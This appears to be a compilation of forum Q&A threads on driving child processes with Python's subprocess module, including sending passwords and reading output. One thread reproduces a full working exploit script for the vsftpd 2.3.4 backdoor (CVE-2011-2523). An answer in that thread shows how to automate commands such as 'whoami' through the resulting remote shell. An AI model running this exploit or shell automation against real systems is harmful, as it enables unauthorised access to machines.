Problem Statement:
Execute a groovy script in shell using Python
The Shell would request for password and display "Password:"
Need to check if that is displayed and provide a password.
Verify the output as "Approved"
My code looks something like this:
#!/usr/bin/env python
import subprocess
import time
process = subprocess.Popen(['groovy', 'some.groovy -u param1 -h param2-p param3'],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE)
time.sleep(5)
stdout, stderr = process.communicate()
print stdout
#Now id the output says "Password:", I need to provide it and then again check if shell displays "Approved"
Related
using python 3.7
I have the following issue: I wrote a python script in which I open a cmd prompt, do some actions then I want to send some commands to that opened cmd prompt
To simplify, it looks something like:
import subprocess
process = subprocess.Popen(['start','cmd','/k','dir'], shell = True, stdin= subprocess.PIPE,
stdout = subprocess.PIPE, text = True)
"DO some actions"
input = 'date'
process.stdin.write(input)
process.communicate(input, timeout = 10)
All the time the script exits with exception TimeoutExpired , and in the cmd prompt i do not see command written (the input)
I looked in the documentation, but i am new with python and did not understood very well how to use the subprocess module
Thank you for the support!
If you want to write something like date in another cmd tab, do like this:
import subprocess
input = 'date'
subprocess.Popen(['start','cmd','/k','echo',input], shell = True, stdin = subprocess.PIPE, stdout = subprocess.PIPE, text = True)
Result:
I would like to "automate" a reverse shell given by a script. Let me explain:
Contexte: There is a backdoor on a vulnerable machine.
What am I doing: I create a subprocess which executes a script (python, perl, ...) and which gives me a reverse shell.
Popen(["python", "/opt/exploits/backdoor.py", remote_ip], stderr=PIPE).communicate()
What I would like to do: Along with running my script <=> running my reverse shell, I would like to be able to interact with it, using methods.
Today, I am able to write manually in the terminal of my reverse shell: the script that I call with Popen runs and uses the backdoor. This gives me a reverse shell and I can type my commands.
Tomorrow, I would like to be able to call methods during the execution of this reverse shell: I run a script with Popen, it exploits the backdoor and gives me a shell. And rather than typing commands manually, I would like that automatically, a whole series of commands be sent to this reverse shell, and that for each one of them, I be able to recover the returned data.
Ideally, I would like something like that:
backdoor.execute() //This method allow me to get a reverse shell
backdoor.send("whoami") //This method allow me to send a command to the reverse shell and to get the result
.
.
backdoor.finish() //This method allow to close the reverse shell
What I tried to do without success: I tried with the Popen class of the subprocess module, to redirect the input and / or the output of the script
Popen(["python", /opt/exploits/backdoor.py, remote_ip], stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate()
However, when trying to redirect these two streams (or just one of them), my reverse shell closes as quickly as it opened.
I also tried to put my commands directly on the communicate() method:
Popen(["python", "/opt/exploits/backdoor.py", remote_ip], stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate(b"whoami")
I tried this with and without redirection of input and / or output, but nothing worked.
Finally, I tried to use the pexpect module to run my script to get a reverse shell, but I didn't have anything conclusive (maybe I did it wrong).
PS: I cannot change the code of the script that allows me to use the backdoor.
backdoor.py
# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution
# Date: 9-04-2021
# Exploit Author: HerculesRD
# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html
# Version: vsftpd 2.3.4
# Tested on: debian
# CVE : CVE-2011-2523
#!/usr/bin/python3
from telnetlib import Telnet
import argparse
from signal import signal, SIGINT
from sys import exit
def handler(signal_received, frame):
# Handle any cleanup here
print(' [+]Exiting...')
exit(0)
signal(SIGINT, handler)
parser=argparse.ArgumentParser()
parser.add_argument("host", help="input the address of the vulnerable host", type=str)
args = parser.parse_args()
host = args.host
portFTP = 21 #if necessary edit this line
user="USER nergal:)"
password="PASS pass"
tn=Telnet(host, portFTP)
tn.read_until(b"(vsFTPd 2.3.4)") #if necessary, edit this line
tn.write(user.encode('ascii') + b"\n")
tn.read_until(b"password.") #if necessary, edit this line
tn.write(password.encode('ascii') + b"\n")
tn2=Telnet(host, 6200)
print('Success, shell opened')
print('Send `exit` to quit shell')
tn2.interact()
Popen(["python", "/opt/exploits/backdoor.py", remote_ip], stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate(b"whoami")
This should work for the single command after a \n is appended and if the -u (unbuffered) option is used. Of course something has to be done with the return value in order to get the command output:
output = Popen(["python", "-u", "/opt/exploits/backdoor.py", remote_ip],
stdin=PIPE, stdout=PIPE, stderr=PIPE).communicate(b"whoami\n")
backdoor.send("whoami") //This method allow me to send a command to the reverse shell and to get the result
Provided that
backdoor = Popen(["python", "-u", "backdoor.py", remote_ip], stdin=PIPE, stdout=PIPE, stderr=PIPE)
we can send a command (if you don't want to exit thereafter) with e. g.
backdoor.stdin.write(b"whoami\n")
and get the result of indetermined length with
import select
import os
timeout = 1
while select.select([backdoor.stdout], [], [], timeout)[0]:
print(os.read(backdoor.stdout.fileno(), 4096).decode())
I'm building a Flask application that allows a user to execute python scripts and see its output in the body of the http response.
The following code works but I'm not able to return the output of the child process to the father's in order to return a html response with the script output.
For example, in the app.py file I use the following code to run a subprocess that executes the client requested python script.
#app.route('/scripts/<script_name>')
def exec_script(script_name):
if os.path.isfile(os.path.join(app.config['SCRIPT_FOLDER'], script_name)):
result = subprocess.run(['python', os.path.join(app.config['SCRIPT_FOLDER'], script_name)], stdout=subprocess.PIPE, cwd=app.config['SCRIPT_FOLDER'])
print(result.stdout.decode('utf-8'))
# return HTML_PAGE
Let's suppose that the requested script example.pyspawns a process that executes a shell command, I'm not able to pass the output of the shell command to the process that was run in app.py
example.py
import subprocess
result = subprocess.run(['ls', '-l'], stdout=subprocess.PIPE)
I guess that the reason why this is happening is that the process created in app.py is completed before the one created in the script. Is there a way to redirect the shell command output to the main application?
You can use subprocess.check_output
example:
result = subprocess.check_output(['ls', '-l'])
if result is not None:
print(result.decode('utf-8'))
Otherwise you can also try with subprocess.Popen:
result = subprocess.Popen(['ls', '-l'], stdout=subprocess.PIPE).communicate()[0]
or:
p = subprocess.Popen(['ls', '-l'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
result, err = p.communicate()
print(result.decode('utf-8'))
In Perl, if I have execute a script and pass a password to it programatically, I would do this:
my $result = qx { "Calling some script which prompts for a user and password" <<EOF
administrator
password
EOF
};
It executes the following while capturing its output:
/bin/sh -c ' "Calling some script which prompts for a user and password" <<EOF
administrator
password
EOF
'
May I know the equivalent of this in Python?
If I udnerstand your question correctly, you're trying to start an external script within its own process, and send that script some data - a password - via its standard input.
In Python, this is done using the subprocess module. This module runs external scripts and has a stdin, stdout and stderr parameters.
For example, suppose that the script is md5sum. You would like to send it the password secret:
>>> import subprocess as sp
>>> p = sp.Popen('md5sum', stdin=sp.PIPE, stdout=sp.PIPE, stderr=sp.PIPE)
>>> p.communicate(input="secret") # <-- Your password
('5ebe2294ecd0e0f08eab7690d2a6ee69 -\n', '') # <-- Process output
p.communicate() returns an (stdout, stderr) tuple, which is useful for processing the script output.
You may also find this answer useful.
I am trying to do a CVS login from Python by calling the cvs.exe process.
When calling cvs.exe by hand, it prints a message to the console and then waits for the user to input the password.
When calling it with subprocess.Popen, I've noticed that the call blocks. The code is
subprocess.Popen(cvscmd, shell = True, stdin = subprocess.PIPE, stdout = subprocess.PIPE,
stderr = subprocess.PIPE)
I assume that it blocks because it's waiting for input, but my expectation was that calling Popen would return immediately and then I could call subprocess.communicate() to input the actual password. How can I achieve this behaviour and avoid blocking on Popen?
OS: Windows XP
Python: 2.6
cvs.exe: 1.11
Remove the shell=True part. Your shell has nothing to do with it. Using shell=True is a common cause of trouble.
Use a list of parameters for cmd.
Example:
cmd = ['cvs',
'-d:pserver:anonymous#bayonne.cvs.sourceforge.net:/cvsroot/bayonne',
'login']
p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE)
This won't block on my system (my script continues executing).
However since cvs reads the password directly from the terminal (not from standard input or output) you can't just write the password to the subprocess' stdin.
What you could do is pass the password as part of the CVSROOT specification instead, like this:
:pserver:<user>[:<passwd>]#<server>:/<path>
I.e. a function to login to a sourceforge project:
import subprocess
def login_to_sourceforge_cvs(project, username='anonymous', password=''):
host = '%s.cvs.sourceforge.net' % project
path = '/cvsroot/%s' % project
cmd = ['cvs',
'-d:pserver:%s:%s#%s:%s' % (username, password, host, path),
'login']
p = subprocess.Popen(cmd, stdin=subprocess.PIPE,
stdout=subprocess.PIPE
stderr=subprocess.STDOUT)
return p
This works for me. Calling
login_to_sourceforge_cvs('bayonne')
Will log in anonymously to the bayonne project's cvs.
If you are automating external programs that need input - like password - your best bet would probably be to use pexpect.